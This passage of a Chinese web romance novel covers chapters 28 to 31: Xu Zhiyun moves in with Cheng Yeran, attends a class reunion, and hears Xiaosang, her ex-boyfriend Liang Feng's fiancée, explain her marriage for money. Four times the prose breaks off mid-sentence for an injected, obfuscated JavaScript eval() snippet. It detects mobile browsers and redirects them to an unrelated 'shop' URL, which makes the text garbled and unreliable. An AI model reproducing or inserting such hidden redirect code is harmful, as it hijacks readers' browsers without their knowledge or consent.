原本她其实是想让程烨然搬进自己家的,因为她实在懒得将东西从七楼搬到八楼,尽管东西可能只能装满一个麻袋,尽管只间隔一层而且还有电梯。 “要不你搬到我家怎么样?”她问程烨然,“嗯……换一个新环境住住?” 但说完她又犹豫了。她想起程烨然家里客厅的一大面橱柜,想起里边可爱的小玩意们,想起他书房里那些与她的藏书截然不同的书籍。这些东西仿佛在对她招手,让她心驰神往。 就在程烨然答应的一刹那,许知蕴又立马改口了。 “我搬过去吧。”她说,“你家里的东西太吸引我了。” 程烨然一愣,随后忍不住勾唇笑了笑。许知蕴的东西当然也用不着她搬——程烨然已经全部处理好了。 就这样,她住进了程烨然的家。 新奇的地方不仅在于摆设和物件的不同,还在于程烨然家里的那扇落地窗。许知蕴没给自己家里安落地窗,理由是觉得擦窗子太麻烦。但她现在却发现了落地窗的好处:她能在客厅这里,望见外边更广阔的景色,就连月亮似乎都变得更圆更明亮了起来。她还发现在窗子下边有一棵树,好像同其他的树都不太一样。后来她弄明白了,那是一株广玉兰。现在是六月份了,它的花苞掩映在茂密的叶子里,不知道什么时候,哪一天醒来,就会开花。 她的思绪从玉兰花回到手里拿着的葡萄上。他们特意挑选的无籽葡萄,就是为了吃的时候舒服点。她拿了一串出来,把剩下的放回冰箱里,随后用盘子盛着手上的葡萄,回了书房。 人在脑子打结的时候就会想吃东西。许知蕴一边吃葡萄,一边皱着眉看电脑屏幕。作者写作的时候肯定是灵感迸发,洋洋洒洒,一连写了一大页,都不带分段的,跟福克纳的原文看起来一样难受。许知蕴一边吃葡萄一边哄自己:没有人会跟钱过不去的,只要加紧努力,钱就离你更进一步…… 花了好几分钟,总算把自己哄好了。她叹了一口气,继续埋头在电脑前苦干。从上午坐到下午,中午只是简单吃了顿面条,许知蕴从椅子上坐起来时,只觉得腰酸背痛。她看了眼时间,准备把电脑关掉,却在关机之前,看到了一条企鹅信息的弹窗。 消息突如其来,还是来自一个有些陌生的头像。 备注是“班长”。 * 程烨然下班回来的时候,手上拎着个塑料袋。许知蕴凑过去帮他拿,发现里边是土豆、茄子、青椒和一把小青菜。 “你这是去哪买的?”许知蕴将袋子拿进厨房,“青菜很新鲜嘛。” 程烨然说:“附近菜市场买的。” 由于今天有会议,程烨然穿得很是正式,衬衫西裤一样不落,皮鞋也是锃亮。许知蕴想象着程烨然西装革履地去菜市场讨价还价的样子,不由得在厨房里笑出声来。 晚饭是程烨然来做。今晚的菜单是地三鲜、炒青菜和葱油鸡。许知蕴一闻见味道才发觉自己饿得慌,吃得特别投入,就着一口菜立马干下了好几口饭。 程烨然倒不是很饿。他一向习惯细嚼慢咽。发现许知蕴喜欢吃那道葱油鸡后,将盘子往她面前推了推。 “谢谢。”许知蕴说话有些含糊不清。 程烨然说:“你慢点吃。” “这不是你做饭太好吃了嘛。”许知蕴忽然想起一个事情,“你那个会议开得怎么样了?” “好消息。”程烨然说,“策划案通过了,接下来就是按部就班地走下去。” 他又说了些公司里的趣闻。他提到霍夫曼,许知蕴听着可乐呵了,说自己曾经在返程飞机上也碰见过类似的人,明明在飞机上大家都是陌生人,但就是莫名其妙地聊了一个小时。 说着说着,许知蕴就聊到了今天下午的那条企鹅消息。 “你知道吗,收到消息的时候我自己都吃了一惊。”许知蕴说,“发消息的人你猜是谁?是我大学时的班长。” 班长只发了一个“在吗”,许知蕴的第一反应是“班长找我有急事”。工作以来,大家的生活都或多或少地有需要同学帮助的时刻。许知蕴在留学时还成为了两名同学的代购,专门帮她们买物美价廉的化妆品。后来当了翻译,有认识在出版社工作的同学,也算是少走了一些弯路。 程烨然显然和她最开始的想法一样。他问:“班长找你有事?” 许知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086077|149342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蕴说:“我一开始也是这么想的。后来她说,是她想组织个同学聚会,问我有没有空。” “我问什么时候呀,她说就在下周六,地点在……”许知蕴不记得了,索性翻了翻手机,把聊天记录上的定位给程烨然看,“喏,这里。” 一家江边的音乐餐厅。 程烨然看到这个定位的第一反应是:“这家的饭菜还不错,可以试试。” 许知蕴嗔怪地看他一眼:“谁问你这个了……好吧,如果确实很不错的话,我倒是可以去。” 她又看了眼聊天记录:“吃完饭还得去唱K呢,真是完蛋。” 许知蕴不喜欢唱歌。与其说是不喜欢,不如说是因为不擅长,所以导致不喜欢。 她开始跟程烨然控诉:“你知不知道,对于一个不会唱歌的人来说,去KTV是多么痛苦……自己唱不了,只好帮别人切歌,然后就有人会问,怎么不唱一首呀?然后接过话筒很无奈地开始唱歌……就算点凤凰传奇,我也唱得一团糟……” 程烨然一边给她夹菜一边听她说话。 语毕,许知蕴很是期待地问他:“程烨然同志,你唱歌怎么样?好还是不好?” 程烨然一时间无法从她的语气中判断自己该回答什么。他清了清嗓子,谨慎道:“嗯……一般般。” “一般般是什么意思?”许知蕴追问。 程烨然和她的目光相持几秒,随后败下阵来。 “我给你唱几句吧。”他说,“你听听就知道好不好听了。我也不知道。” 他放下筷子,回想了一下歌词,然后开始唱起来。 “爱上你,看见你,如何不懂谦卑……” 许知蕴知道这首歌,是陈奕迅的《岁月如歌》。在坐出租车时,她听很多司机都会在车载里放这首。 程烨然的粤语倒是很标准,只是调调一会高一会低,看似基本都在调上,但总有那么几个字偏离了原本的轨道。这样听来,确实只能用“一般般”来形容。不好听也不难听。 程烨然唱完了第一段副歌,然后就不唱了。许知蕴看他脸红了,就开始逗他:“其实唱得还是不错的嘛。” 程烨然叹了口气,“别说了,我知道自己到底跑了那些地方的调。” 许知蕴这时倒诚恳了:“你比我唱得好。” 作为交换,她给程烨然唱她最熟悉的一首凤凰传奇:《月亮之上》。唱到第三句她就忍不住笑了,实在是跑调都跑到了天边。程烨然在她对面,是想笑又在忍笑,只好低下头,用食指的关节抵住嘴唇。 许知蕴唱完了,很大度地说:“笑吧,我允许你笑。” 她本以为程烨然会很放松地笑出声来,却没想到,他只是微微笑着,伸过手来,用温热的手指轻轻捏了捏她微凉的耳垂。 “很可爱啊。”他说。手指在她的耳边流连了几秒,随后轻轻抚摸着她的头发。“不骗你,真的很可爱。” 这下轮到许知蕴脸红了。她抓住程烨然的手。 “吃饭。”她故作严肃。 但她没说的是,她非常喜欢程烨然摸摸她的头发。 29. 第二十九章 趁着程烨然洗漱的时候,许知蕴偷偷溜进了书房。 书房里原先只有一张转转椅,现在变成了两张。桌上的东西也由一人份变为了两人份。在工作日里,书房大部分时间都被许知蕴占据。在周末,则是两人一起共用。他们面对面坐着,中间隔着两个人的电脑。偶尔抬头低声地说会话,大部分时间都非常默契地一起工作。 就像找了个工作搭子。 但今晚许知蕴偷偷走进书房的缘由可不是这个。 在程烨然下班回来的前几分钟,她由于实在是懒得对大片的英文唉声叹气,便走到书架前,打算随便挑一本没看过的来看。 程烨然看书的口味尽管和她有所重合,但重合的并不多。许知蕴一本本挑过去,正准备抽出一本设计学相关的科普书籍时,眼角的余光忽然就瞥见了旁边的一排杂志。 粗粗一眼看去,有十几本。 杂志很眼熟,在这排书架上还显得有些格格不入。 许知蕴好奇地把手中的书放下,转头拿了其中的一本杂志。 这一看她就认出来了:这不是她作为专栏译者所供稿的那本吗? 她好奇地翻开。杂志里的折痕明显,特别是在她翻译的故事里边,用黑色的水性笔勾勾画画,足以想象到,杂志的主人在看故事的时候,是很细心很认真的。末尾,甚至还有简短的评语,有的有好几行,有的只有一句话。字迹飘逸,带着笔锋,一点涂改也没有。 许知蕴感到自己的内心被柔软地触动了一下。 可惜当她正要继续往下翻时,开门声想起了。许知蕴不知为何有些心虚,将书放回书架便急匆匆跑了出来。 但现在程烨然在洗漱。 许知蕴找出一沓便利贴,打算在每一本杂志里都夹上一张。她也不知道在便利贴上该写什么,索性每一张上边都抄上一句情话。这一页是普希金,下一页就变成华兹华斯,再下一页写莎士比亚……怀着隐秘的恶趣味,许知蕴将这些情话小纸条都分别夹进了那十几本杂志里。 也不知道程烨然什么时候才会发现?她不由得想。 她也不知道自己是期望这些小纸条被发现呢,还是期望它们不被发现呢。如果被发现了,就算上边都是些中学生表白时才会说的话,也显得怪难为情的。 但如果被发现了,那就说明程烨然最近还是有在看这些杂志,会不会也就隐隐地表明,他其实—— 许知蕴赶紧伸出手拍了拍自己的脸颊,将脸上突如其来的热度压下去。 这些其实也说明不了什么……对吧? 正在她胡思乱想之际,卫生间的门打开了。程烨然带着一身水气走出来,停留在书房的门口。 “做什么呢?”他一进去,就看见许知蕴拿着本书,“这么晚了,先洗澡吧。洗完再看如何?” 好闻的橘子味沐浴露的香气传来。 许知蕴感觉脸颊上刚刚降下来的温度又有复燃的趋势。她有些慌张地从椅子上蹦起来。“我马上去!”随后立刻奔向卧室,但在出去后发现自己把手机落在了书桌上,又急忙跑回来拿手机。 她折返回来的时候,程烨然已经拿着她的手机站在门口了。 “我猜你忘了这个。”他笑笑,将手机递给她,“慌里慌张什么呢?” 许知蕴接过手机,又被清新好闻的淡淡橘子香味暴击了。 她诚实问道:“程烨然,以后能不能别用这个牌子的沐浴露?” 程烨然愣住。 就在他发愣的一瞬间,许知蕴忽然伸出手来,咧着嘴角扯了扯他的脸颊。先前的羞涩就好像是装出来的一样,她捏了捏程烨然的脸,只觉得十分柔软,十分好捏,忍不住又多捏了几下。 “因为这个味道太香了,我怕我忍不住。”她一本正经,“我怕我忍不住,就要逗你。你的脸呢,就要遭受无妄之灾……” 触感太好了,她恋恋不舍地收回手。但程烨然却轻轻捉住了她的手腕,在她的指关节处吻了吻。 “怎么不继续了?”他似笑非笑,“我可是十分乐意的。” 许知蕴只感觉自己手上仿佛长了一只只蝴蝶,在温热的,夕阳的余晖下振翅欲飞。她嘟囔了一句,然后缩回手来。 “……我要去洗澡了。” 她抱着衣服,慢吞吞挪进了浴室。 * 班长的办事效率很快,十几个人的小群很快就建起来了。 看到那些不算熟悉也不算陌生的名字,许知蕴的心里还是有些怀念的。只不过她已经没办法把每个人的名字和长相都对上号。尽管大学生活离她不算太遥远,但在上学时,更多的是独来独往,平日的交集,要么是在宿舍,要么就是在仿佛无休止的小组作业。 他们定了市中心的一家中餐厅,然后再订了一家据说是“本城排名前三”的KTV包厢。 提议定这家KTV的是一名家庭条件颇好的男同学,说KTV的费用他全包了,只希望大家唱个痛快。许知蕴这才想起来,这位男同学似乎还获得过校级十佳歌手决赛的第一名。 只是举行歌手比赛的时候,她还在外边参加考试,这消息也是从班群里得知的。 这位同学一发言,瞬间将大家拉回当年的情景中。群里的消息也多了起来,还有人找出当年的照片,一连发了几十张。 不仅有歌手比赛的,还有参加其他活动的。结尾是他们穿着学士服的毕业照,许知蕴在照片里找到了自己——太阳太晒了,她在毕业照片合集中都是微微眯着眼睛。实在不美丽。 她把毕业照保存下来,反手发给程烨然。 过了一会就收到了消息。程烨然发来一张图,上边圈出了她的位置。 程烨然:[喏,你在这里。] 许知蕴:[上班摸鱼啊?] 程烨然的消息过了一会才发来:[开例会当然要摸鱼。] 然后发了一张角度很清奇,一看就是偷偷摸摸拍摄的照片。很模糊,倒是桌上的咖啡十分显眼。 许知蕴突然好奇起来:[你的毕业照呢?我还没看过你的毕业照呢。] 程烨然:[在书房左边书架最上层,有一个文件盒。在里边。] 许知蕴立马跑到书房,顺着程烨然的描述找到了那个蓝色的文件盒。一打开,里边满满的都是各个年龄段的毕业照、奖状和证书,金灿灿的仿佛在发光。许知蕴抽出那张大学毕业照——她也几乎是在看到照片的第一眼就找到了他。 一个更年轻,更意气风发的程烨然。 许知蕴暗戳戳地拍照保存。 她把照片发过去:[喏,你在这。] 程烨然现在倒回得挺快,看来是摸鱼摸出了技巧:[今晚想吃什么?] 许知蕴想起中午看到的那个做菜小视频。不可否认,她真的很馋:[……海鲜焖面!] …… 晚上她如愿以偿地吃到了海鲜焖面。 海鲜特有的香气席卷了整个饭厅,许知蕴吃完,只觉得自己的舌头都要香掉了。 她捧着程烨然的手上看下看,装模作样地感叹:“好好的一双做菜的手,怎么被拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14094112|149342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去做设计了呢?” 许知蕴之前其实也给程烨然做过面条,还是她最拿手的三鲜面。可惜口味总是有些不尽如人意,虽然程烨然觉得很好吃,但对自己要求颇高的许知蕴不满足于现状。 “你别鼓励式教育了。”她苦着脸说,“我知道,这么些天来,我的厨艺已经下降了……” 为了增强厨艺,她开始发奋学习网上教做菜的各种小视频。只是人总是有惰性的,明知道今晚上会有一份香喷喷的海鲜焖面在等着自己,谁还有心思去钻研厨艺呢? 吃完饭,他们在沙发上看了会电视。 一个以播狗血剧著名的电视台,如今居然改换了风格,居然开始播正剧。 两人在沙发上看了三十分钟,一致得出的结论是:不好看。 “哪个导演拍的?”许知蕴拿起遥控器换台,“好好的题材都被糟蹋了。” 她也不知道看哪个台,于是随便乱换,换到了电影频道。 这是一部外国电影。 程烨然说:“就看这个吧。” 于是他们一起窝在沙发上,安静地将这部基调同样是安静和悲伤的电影看完了。 一个有关战争中爱情的凄美故事。 片尾曲想起时,许知蕴才惊觉已经落幕了。她转过头去,想同程烨然说说自己的想法,却看见对方也转过脸来,眼周通红,眼泪将掉未掉,挂在长长的眼睫上。 “……哭啦?” 许知蕴心里本来也有几分悲伤,这下也被冲散了。她拿过桌上的纸巾,抽了一张给程烨然,轻轻地覆上他眼睛。“我还没哭呢,你先流眼泪了。” 程烨然小声道:“因为真的很感人。” 许知蕴失笑:“周颂说得果然没错啊……” 听到周颂的名字,这下程烨然的眼泪也不流了。他一下子坐起来,狐疑道:“周颂?和那家伙有什么关系?” 许知蕴的嘴巴很紧:“没有。” “真的?” “真没什么。”许知蕴信誓旦旦,实则在心底憋笑。 程烨然瞥她一眼,明显是不相信,但又没有什么实质性的证据,只好作罢。他们在沙发上横七竖八地躺着,都懒洋洋地不想动,又猜拳来决定谁先洗澡。 …… 许知蕴打了个哈欠,从氤氲着热气的浴室里走出来。 她也用了程烨然同款的橘子味沐浴露——没办法,实在太好闻了嘛!从浴室慢悠悠地挪动出来,她走到书房,打算继续读先前没看完的那本书。 但当迈进书房的时候,她的视线又不由自主地飘到那十几本杂志上。 虽然只过去了两天的时间,但程烨然到底有没有看到呢? 她走过去,抽出一本杂志,熟门熟路地翻开到她原本放着纸条的地方——纸条依然还在那里,只是在她的字迹之下,多了一个Q版的小人简笔画。 笔触很流畅,就像是绘画的人一气呵成,甚至还在旁边画了个小小的爱心。 纸条上的小人貌似刚起床,睡眼朦胧,还打了个大大的哈欠。 许知蕴将所有杂志里夹着的纸条都拿出来——果不其然,每张纸条上都被画上了同样的小人,只是这些小人的状态都各有不同:睡觉的、看书的、横着手机打游戏的、坐在发光的电脑屏幕前敲键盘的…… 她一眼就看出来程烨然画的是自己。 在最后一本杂志里的纸条上,小人的旁边被打上了一个弯弯曲曲的箭头,箭头指向了一行清俊有力的字: ——愿许知蕴小姐万事顺意。 30. 第三十章 周六如期而至。 许知蕴按着群里约定好的时间,来到餐厅。 一上三楼的包厢,她才发现自己是到得比较晚的那个。圆桌旁差不多坐满了人,她一进门,班长就笑着出来迎她。 “好久不见!” 班长很热情地招呼她落座。许知蕴在大学时要好的朋友要么忙于工作无暇参加聚会,要么已经在国外定居了。这场聚会里并没有她太熟的人,因此她只是随便找了个位置坐下。 那位爱好唱歌的男同学就坐在不远处,见她坐下,便同她挥挥手。两人寒暄起来。 许知蕴还记得这位男同学的名字,赵鑫。 得知赵鑫准备于年末结婚时,许知蕴还是吃了一惊。 “这么快?”她其实还没反应过来。 赵鑫笑笑:“都奔三了,不算快。” 周边几位女同学听他们在聊“结婚”的话题,也加入进来。许知蕴这才发现大部分人似乎都有订婚或者结婚的打算。 “知蕴应该也快了吧?”其中一位说,“我记得那时候不少人追你呢。” 现在聊到这些话题,倒没有当初年轻时那么害羞了。 许知蕴笑着摇摇头:“哪里,没有没有。我很普通一人嘛。” “我记得,知蕴在进大学不久就谈恋爱了吧……”一位同学回忆,“我印象中对方可帅了,家庭条件也挺不错……现在怎么样啦?” 梁丰。 许知蕴的心里蹦出这个名字。 她谈恋爱时比较低调,并没有在朋友圈发官宣之类的文案,分手也只是沉默地分掉了。他们学校很大,分了两个校区,梁丰所在的专业之后搬去了新校区,此后他们更是没什么交集。 “早就分手了。”许知蕴说,“相处下来还是不合适。” 说完,她又微微笑了笑,“现在这个比他好得多呢。” 几位女同学一听,立马发出小声的欢呼。 等剩下的同学入席,他们的饭局也就此开始。如程烨然所言,这些菜式尝起来都相当不错,其中的蟹粉狮子头得到了广泛的好评。许知蕴甚至打起了单独买一份带回家去的主意,可惜悄悄问了服务员,说这道菜单点不了,只能为宴请提供。 吃到一半,服务员突然将朝向江边的窗户打开了。他们都好奇地望去,看见在一旁的大露台上,不知什么时候站上了一支小型的乐队。是四重奏的配置。在江面的灯光统一亮起的刹那,他们也一齐奏响了一首温柔抒情的《友谊地久天长》。 许知蕴这才想起,这所餐厅的名头就是“音乐餐厅”呢。 她看着乐队演奏,忽然想起程烨然好像也会某种乐器来着。 ……好像是口琴? 下次让程烨然吹口琴来听听吧。许知蕴单手撑着下巴,漫无目的地想。 * 吃完了饭,他们转战KTV。就在不远处,走五六分钟就到。 赵鑫一进门就贡献了一首当下最流行的华语歌曲。多年未见,唱歌的功力还是不减,一曲唱毕,大家都给了他最热烈的欢呼声。又有人起哄,让他唱当年歌手比赛的曲目。 KTV并不是许知蕴擅长的环节,她只是坐在沙发上给人切歌。也有人给她递话筒,邀请她唱一首,许知蕴都是摆摆手,笑着说:“不了不了,我这五音不全的,等下怕你们看笑话。” 请了几次,她都委婉地拒绝,大家也就没有勉强。。许知蕴就在点歌机的一旁坐着,帮人切歌,或者调背景音量,时不时和旁边的人聊天。桌上摆了各色酒类和果盘,许知蕴给自己倒了一杯红酒,慢悠悠地小口抿着。 她酒量不错,但有位女同学一连喝了好几大杯啤酒,已经有些醉了,朦胧着双眼说自己得先回去,不然家里人要着急。 眼看她摇摇晃晃要倒,许知蕴赶紧伸出手扶住她:“有人来接你吗?” “有,我发小。我刚给她发消息了,一会就到。” “行。”许知蕴从果盘里给她递了串葡萄,“先吃点葡萄解酒,到时候我送你下楼吧。” 吃葡萄解酒的知识还是她在网上冲浪时刷到的,这时总算派上用场。 同学接过葡萄,一连吃了好几颗。她调笑道:“还是我们许同学最聪明啊,不愧以前总拿班级绩点第一名。” 许知蕴自己都忘记自己曾拿过这名次了。她也跟着开玩笑:“哪有,我要是真聪明,现在就不做笔译了,当同传多好,赚钱是笔译的多少倍呢。” 十分钟后,女同学的电话响了。她从沙发上站起身来。许知蕴扶住她,跟包厢里的人说了几句,随后和她一起往楼下走。接人的发小把车停在门口,许知蕴一看见这位开车的人,忽然发现自己也认识。她将同学扶进车里,随后也和这位发小闲扯了几句。 “世界本来就很小嘛。”发小感叹,“尤其是在这里,别看它挺大的,其实小得狠呢。” “是啊。”许知蕴笑笑。 车子扬长而去,许知蕴拂了拂被风吹乱的头发,往回走,搭上上楼的电梯。电梯门一看,她看见轿厢里零零散散只有几个人,便低头走了进去。 旁边是一对情侣。估计是在热恋期,两人手牵着手,低声说些听不清楚的甜言蜜语。许知蕴本来在百无聊赖地刷手机,听着听着,却觉得这男声有些莫名的耳熟。 就像在哪里听过似的。 她微微侧过头,想看看旁边这人到底是谁——万一她认识呢? 可没想到,男人也偏头向她看过来。 这一看,许知蕴愣住了。 这鼻子这眼,这声音……怪不得她熟悉呢。 简直熟悉得不能再熟悉了。就算时间久远,可也是做过男女朋友的关系,能不熟悉吗? 说实话,她从来没有设想过这样的可能性。但事情就是如此戏剧化地发生了。许知蕴简直要质疑自己的眼睛。 尴尬的气氛弥漫开来。男人的女友似乎也感受到了这氛围的不对劲,亲热地拽了拽男人的胳膊,声音很甜:“阿丰,她是谁呀?你的朋友吗?” 许知蕴刚想说话,梁丰的声音就冷飕飕地传来:“没什么,不熟。” 不熟好,不熟好啊。许知蕴正乐得和他撇清关系呢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14105481|149342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “真的吗?”女友似乎还是有点不相信。 许知蕴闻言,连忙打圆场:“我们是大学的同校同学,就是参加活动见过几面,你别误会,真不熟。” 她虽然讨厌梁丰,但也没有到破坏他人感情的地步。 “这样呀。”女友笑了笑。这时电梯门开了,正好是许知蕴要去的楼层。她走出去,女友还在后面对她说,“祝小姐姐玩得愉快呀!” 电梯门合上了。 许知蕴回到包厢。这时他们已经从华语流行歌唱到了八九十年代的老歌。许知蕴被他们拉过去一起大合唱。许知蕴索性也不拒绝了,放开了唱。反正是合唱,包厢里太吵,没人听得清楚她在唱什么。 就这样笑闹到了晚上九点多,大家都准备散场。喝光了最后一瓶红酒,他们打开灯,又拍了张大合照。过了那么多年,许知蕴依旧不会摆姿势,依旧是僵硬地比了个剪刀手。快门按下,照片很快就被传到每个人手机上,许知蕴点开,很欣慰地发现自己经过多年的表情管理,照相总不至于难看了。她点了保存,给程烨然发了消息,然后跟着大家一起往外走。 她是最后一批乘电梯的人。程烨然说他一会就开车到,许知蕴也不着急,打算在外边随便找个什么地方坐坐。但当她正要踏出门的那一刻,先前见过的,梁丰的那名女友,就忽然出现在她眼前。 女友很礼貌地说:“我们可以聊聊吗?” 或许是怕自己太唐突,她又赶忙补充了一句,“我就是单纯想聊聊,没什么其他的想法,如果你赶时间的话还是……” 许知蕴说:“没关系,我不着急。我们去哪聊?” 见许知蕴答应,女友的脸上露出一阵欣喜。她指了指门外:“这附近我来过很多遍,旁边就有一家很不错的清吧,酒也好喝。” 她顿了顿,“不介意的话,我请你喝酒吧。我喜欢那里的自由古巴。” 许知蕴没有拒绝。她跟着这名女友来到旁边的那家清吧。装潢的确很不错,还有人在台上弹着民谣吉他,许知蕴留心倾听,那人唱的似乎是法语歌。他们找了一个幽静的位置,女人问许知蕴要喝什么,许知蕴说,既然你推荐自由古巴,那就这个吧。 于是不久后,木桌上就多了两杯酒。许知蕴喝了一口,清爽的青柠味扑面而来,混合着朗姆酒和可乐,让人身心都放松不少。 女友问她:“怎么称呼你呢?” 许知蕴说自己姓许。 对方笑了:“许小姐晚上好。我叫小桑。” 许知蕴很好奇小桑找自己聊聊的目的。似乎不仅仅只是聊聊而已。 朦胧的灯光下,小桑抿了一口酒——许知蕴这才发觉她并非在电梯里所看到的那样温柔和顺。那样有些偏甜的声音,似乎也是经过伪装。小桑的表情很沉静,很微妙,不知为何,许知蕴总觉得她的手指间应该还要夹一支细长的香烟才对。 小桑说:“其实我知道,你是他前女友。” 她叹了口气,语气淡淡的,说不上是失落还是怅惘。 “……很早以前,我就知道了。” 31. 第三十一章 许知蕴一瞬间瞪大了眼睛。 “你——”她迟疑着问道,“为什么会……知道呢?” 除了梁丰跟她提到过自己,不然许知蕴想不出别的理由。可他为什么要提到她?不过是大学里一个甩了他的、久远的前女友而已。 小桑似乎猜到她会怎么想,微微地笑了笑:“他没有跟我提到过你啦。只是我是在他的电脑里看见的。” 刚在一起时,她就找过一个由头看梁丰的电脑。里边有个文件,她出于好奇心点开了,却发现里边是他同各式各样的女人的合照。电脑的光泛着冷白,小桑盯了好几秒才回过神来。那是他和“前女友们”的合照。 小桑的语气仍然是淡淡的,只是简单描述了一下当时的场景,许知蕴却仍然感受到从胃部泛上来的阵阵恶心。她连忙喝了一口酒,将那些不适感压下去。 “他参加酒局回来后,我不经意地同他提起电脑里的那些照片。你知道他怎么回答我吗?”小桑顿了一下,“他说,他认为所有的感情经历都是人生的一部分,他不愿意那么轻易地舍弃这一部分。现在,我看到了那些照片。他问我,知道了这些,还愿不愿意和我在一起?” 许知蕴当即要跳起来:“他这纯属是胡诌!” “是的呀。”小桑的脸上露出一种嘲弄的神情,“他喜欢说漂亮的话,来糊弄别人。可我不是涉世未深的小姑娘了,当然也不被他骗。但我还是选择和他在一起。” 许知蕴沉吟了一会,问道:“我想知道为什么。” 小桑定定地看了她一会,忽然低声说:“许小姐,你同他也谈过恋爱,你知道他是一个怎样的人,所以选择分手……但我没有办法。我想要得到的东西太多了。” 她同许知蕴说起自己的故事来。 “我家不算有钱,只是有几个厂子而已,和他比起来,当然差得很多。我们是在酒吧碰见的,可能看我长得顺眼,就展开他追求女人的攻势。我知道他家是什么样的状况,我也知道,我们家的产业非常需要梁家。所以我同他谈恋爱,后来,名正言顺地变成了未婚妻。” 酒吧的灯光变换,小桑的面容十分沉静。“我会使点小性子,但在关键问题上,我从来不管他。他和别的女人说俏皮话,或者一晚上不回来,我都不管,顶多吃点醋,然后他来哄,就可以了。不知道梁丰会不会觉得,我是个难得的贤妻良母?” “对呀,我不管他这些事,因为我根本不想去在意,也懒得在意。何况我们订婚了,最终如果没有什么插曲,我们年末就会结婚。” 许知蕴的眼里露出一丝惊诧。 她有些好笑地想,自己这一天竟然听到了两对人要在年末结婚的事。也真是奇妙。 她试探性地问道:“结婚之后,你们要怎么办呢?” 小桑耸了耸肩。“不怎么办。”她说,“我们呢,要在本城结婚,然后去香港度蜜月。度完蜜月,我们就收拾东西,准备去美国。定居地点在底特律。” 她虽然说着结婚,但眼睛里完全没有结婚应有的欣喜,更像是完成了一个期盼已久的任务。 许知蕴犹豫了一阵,还是决定将先前梁丰在艺术展上遇见她的事情说出来。小桑听她说完,忍不住笑了笑:“他就是这样的人,我都习惯了。” 许知蕴看着面前坐着的小桑,心里有细细密密的涟漪泛开。她郑重地问:“结婚是人生大事,你确定……不再考虑一下吗?” 毕竟梁丰并不是一个良配。 小桑却说:“我都想好了。我们这叫:经济适用性婚姻。” 说完,她自己都被自己逗笑了:“我们约好了,结婚后他依旧可以玩自己的,我不会管。我感觉,两个人结婚,要么是因为爱情,要么是因为金钱。我是为了后者,所以爱情什么的,在我这里就不重要了。” 小桑将面前的酒喝完了,又叫服务生上一杯尼格罗尼。 “我呢,喜欢物质生活。我想买名贵的包,名贵的衣服。怎么奢侈品怎么来,又漂亮,又能撑面子。只是,我的家庭没办法给我做到这一点。我有一点钱,但在真正的有钱人眼里看来,这点钱根本不算什么,吹一吹指头就没了。” “我也想过上定居国外,浑身上下奢侈品,出入高级交际宴会,一起床就有佣人给我端上早餐的生活。我想花钱给自己的学历镀金,我想把我的小孩早早送去国外留学……但这些都得要有钱才行。我的钱不够多,我就没办法达到这样的目标。” 服务生将尼格罗尼端上来了。金红色的液体在玻璃杯里荡漾着细碎的光。小桑的视线仿佛要沉到这杯酒里去。 “——所以,我选择跟梁丰结婚。”小桑看着许知蕴,“这是我最终的目的。你能……” 她忽然哽咽了起来。“你能理解我吗,我——” 她透过一双含着泪的眼睛,望着对面坐着的这位“许小姐”。 从刚开始的见面,她就知道,这位许小姐和自己并不是一类人。 隔着眼泪,她看不清楚许知蕴的表情。但许知蕴却站起身来,来到她的旁边,很温柔地伸手拥抱了一下她。 “不要哭。”她轻声说,“傻姑娘,不要哭。我们只要知道自己的最终目的是什么就好了。” 许知蕴并不会指责她。 她想,很多人浑浑噩噩地活了很久,都不知道自己究竟要的是什么。 谁又能指责她呢? 仅仅是几秒钟,小桑就把她的眼泪收回去了。除了眼周还有些泛红的痕迹,没人能看出她哭过。 她吸了吸鼻子:“你知道吗,我跟他说,我觉得你很有眼缘,想找你聊聊天,他就放我下来了。他看起来一点也不在意,对不对?其实他肯定知道,我知道你是他前女友了。我们两个人在一起讲什么,他应该也能大致猜的出来。总不能是他的好话吧?但是人生如戏,我们只要演好自己的角色就行了。” 小桑指了指门外:“等出了门,上了他的车,我就还是那个温柔善解人意的未婚妻。对他来说,这就够了。” 说完,她又轻声道:“对我来说,这也够了。” “但有时候,我还是会觉得难过。明明我不爱他,但看见他和别的女人调情,我还是有点难过。” 许知蕴说:“不要为他那样的人难过。你总会遇到对你怀揣真心的人的。或许是不久后,或许是十年后,二十年后,甚至更久……等到这些事情都经历完了,你在命运的墙角底下,总会遇到那个人的。不管那个人是谁。” 像是过了几秒,又像是过了一个世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 